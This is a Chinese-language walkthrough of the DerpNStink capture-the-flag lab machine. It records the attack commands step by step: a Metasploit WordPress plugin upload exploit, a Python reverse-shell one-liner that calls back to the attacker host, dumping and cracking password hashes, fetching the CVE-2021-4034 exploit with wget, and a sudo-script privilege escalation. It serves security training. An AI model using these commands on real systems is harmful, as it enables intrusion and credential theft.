信息收集
访问80端口
搜索页面代码发现一个flag
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->
可以直接使用curl 192.168.19.175即可发现flag
访问站点http://192.168.19.175/webnotes/info.txt
发现一段话
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
<-- @stinky,确保使用本地 dns 更新您的主机文件,以便可以在新的 derpnstink 博客上线之前访问它 -->
将站点绑定一下,保存在hosts文件中
dirb扫描一下,发现http://derpnstink.local/weblog/wp-admin/站点
使用弱口令尝试登录
wpscan --url http://derpnstink.local/weblog/
提示收费,但是有25天免费的注册
想注册可以注册
wpscan --url http://derpnstink.local/weblog/
需要官网注册获取新令牌:
https://wpscan.com/register
注册成功后选择免费的就行,会生成一个密匙复制进来!
wpscan --url http://derpnstink.local/weblog/ --api-token 密匙
扫描发现6个可利用漏洞
Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
Title: Tribulant Slideshow Gallery <= 1.5.3 - Arbitrary file upload & Cross-Site Scripting (XSS)
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhosts 192.168.19.175
set targeturi /weblog
set wp_user admin
set wp_password admin
exploit
shell
①在msf中建立一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
②在kali控制台创建一个shell
nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.19.147",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali终端已经拿到shell
python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo
fg(输入时不显示,按回车即可进入shell)
cd ../../.. ---来到/var/www/html/weblog目录枚举信息!
查看wp-config.php文件中password的上下10行内容
grep -10 "password" -rn wp-config.php
mysql -uroot -pmysql
use wordpress
show tables;
select user_login,user_pass from wp_users;
将密码放入一个txt文件中使用john破解尝试
要是爆破过的话,文件存放在~/.john中
历史记录
通过ssh登录发现登录不上去,尝试来到后台登录
直接就能看见flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
在shell中来到home目录下,查看用户
通过ftp连接到stinky账户,密码还是爆破出来的wedgie57
①可以通过ftp服务器连接
②通过网页连接
Index of ftp://192.168.19.175/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/
发现key(因为通过ssh连接时提示没有公钥,所以此密钥应该是公钥)
chmod 400 key.txt更改文件权限
直接ssh连接时提示 权限被拒绝(公钥)。
获取key.txt后连接,提示sign_and_send_pubkey: no mutual signature supported
签收并发送公钥:不支持相互签名
处理此问题,在~/.ssh目录下新建一个config文件,并将PubkeyAcceptedKeyTypes +ssh-rsa写入其中,再次连接,即可
ssh -i key.txt stinky@192.168.19.175
find / -name "flag*" 2>/dev/null
cat flag.txt
获取flag4
提权①cve-2021-4034
访问https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
将代码拷贝下来
存放在一个.c文件中
开启一个python服务
python -m SimpleHTTPSever 8081
wget http://192.168.19.147:8081/derpnstink.c
gcc derpnstink.c -o derpnstink
chmod +x derpnstink
./derpnstink
提权②
来到/home/stinky/Documents目录发现pcap包,下载到本地
传输过来之后用wireshark打开
wireshark derpissues.pcap
追踪TCP流发现
账号:mrderp
密码:derpderpderpderpderpderpderp
su -l
发现可以在(ALL) /home/mrderp/binaries/derpy*执行所有命令
在当前目录创建binaries目录
nano derpy.sh
将提权命令写入其中
#!/bin/bash
bash -i
然后将文件移动到binaries目录下
mv derpy.sh binaries/
sudo ./derpy.sh